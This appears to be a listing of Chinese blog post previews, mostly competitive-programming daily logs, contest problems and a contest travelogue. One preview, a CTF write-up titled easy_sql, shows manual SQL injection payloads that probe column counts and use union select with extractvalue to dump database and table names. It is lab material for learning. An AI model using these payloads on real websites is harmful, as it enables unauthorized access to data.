- 2024.1.30 总结
上午重新编写了一下自己的缺省源晚上听吴队讲实验舱\(07\)的比赛题。\(A\)倒着考虑，用\(Tarjan\)求强联通分量。\(B\)有点结论，答案是所有边双联通分量内部的极差最大值。\(C\)建圆方树，然后在树上进行\(DFS\)预处理。之后是\(CF\)\(1925\)的讲题。这次感觉\(B\)......
- 2024.1.31 总结
上午接到姜\(sir\)通知后就开始召集讲题组并开始写题解。\(B\)属于结论题，题解和我赛时的结论不一样，然后就都证明了一下。Link\(D\)有一点难，借鉴了Register_int的题解，\(dp\)那段卡了一小段时间。Link晚上吴队讲题（实验舱\(06\)）\(A\)其实很简单，只需要统计奇数度数的点，最......
- 2024.1.29 总结
早上起来先打\(USACO\)\(Cu\)。\(A\)一眼秒，\(10\)\(min\)过。\(B\)一眼模拟，模拟后\(T\)掉\(6\)个点，知道怎么死循环但是懒得判，于是直接卡时过掉，用时\(15\)\(min\)。\(C\)第一眼没思路，先敲了\(\frac{2}{3}\)的暴力，之后一直在推规律。然后换了个思路，统计正负次数和......
- 2024.1.28 总结
昨晚有事没上课，今早起来大致浏览了一遍课件，纠结了一下，最终决定不管\(rating\)直接打。先通读了一遍，最终决定先搞\(A\)。\(A\)感觉像板子题，为了使答案最大，肯定不选重心，两遍\(dfs\)找出重心后直接统计答案即可。切了。看\(BC\)之后还是感觉没上课不大会，所以就口胡后就去......
- 2022省赛B组真题
2022省赛B组真题（时间复杂度：如果1s就要控制在1亿以内）填空题1.顺子日期小明特别喜欢顺子。顺子指的就是连续的三个数字：123、456等。顺子日期指的就是在日期的yyyymmdd 表示法中，存在任意连续的三位数是一个顺子的日期。例如20220123就是一个顺子日期，因为它出现了一个顺子：123......
- [SWPUCTF 2021 新生赛]easy_sql
手工sql注入流程首先，检查字段数url?wllm=1'orderby3--+尝试到4的时候报错，故字段数为3爆库名url?wllm=1'unionselect1,extractvalue(1,concat('~',(selectdatabase()))),3--+爆表名url/?wllm=1'unionselect1,extractvalue(1,concat('~',(selectgro......
- 24.02 week 1 营业日志
02.01没补完。T1考虑把区间从短到长排列后双指针，那么需要维护一个集合，加区间删区间询问是否有点被覆盖\(m\)次，这个SGT就行了。02.02T1现在不想写。T2这不就是P9981。考虑这个字典序怎么维护，建分层最长路，在每一层中维护所有节点的相对顺序，则比对两个后继只用比对当前......
- 2024 日寄
2/3经典不会D，开摆abc怎么G放树套树的板子啊，还是超级削弱版split+merge>>rotate+splay2/2__builtin_popcountll也能longlong__builtin_popcount只能处理int，longlong要__popcount，但要c++202/1我的水平：蓝色的ds绿色的dp红色的贪心（小粉兔半夜直播打原神（......
- 2023春节编程竞赛
CRC32算法的结果是个32位非负整数。上述链接中CRC32函数的输入为一串字节，要求将输入改为一个32位非负整数，对应原函数输入参数的4个字节（低字节在前）。这样，新的CRC32函数的输入与输出均为32位非负整数。CRC32(X)=Y表示为X→Y样例1：A→A则A..A共1个32位非负整数构成一个环......
- CSP-J2023游记
Day-1星期五下午逃课坐上了去日照的大巴，虽然是第一次比赛，但是莫名一点也不紧张，在车上看了会B站，打了会原神，消磨了三个多小时，就到站了。呕对了，在车上还在想同学们在上什么课，一想就莫名想笑在酒店里选了一大通壁纸，最后选了一个博丽灵梦的终于到酒店了，我和sbh两个进了屋以后不......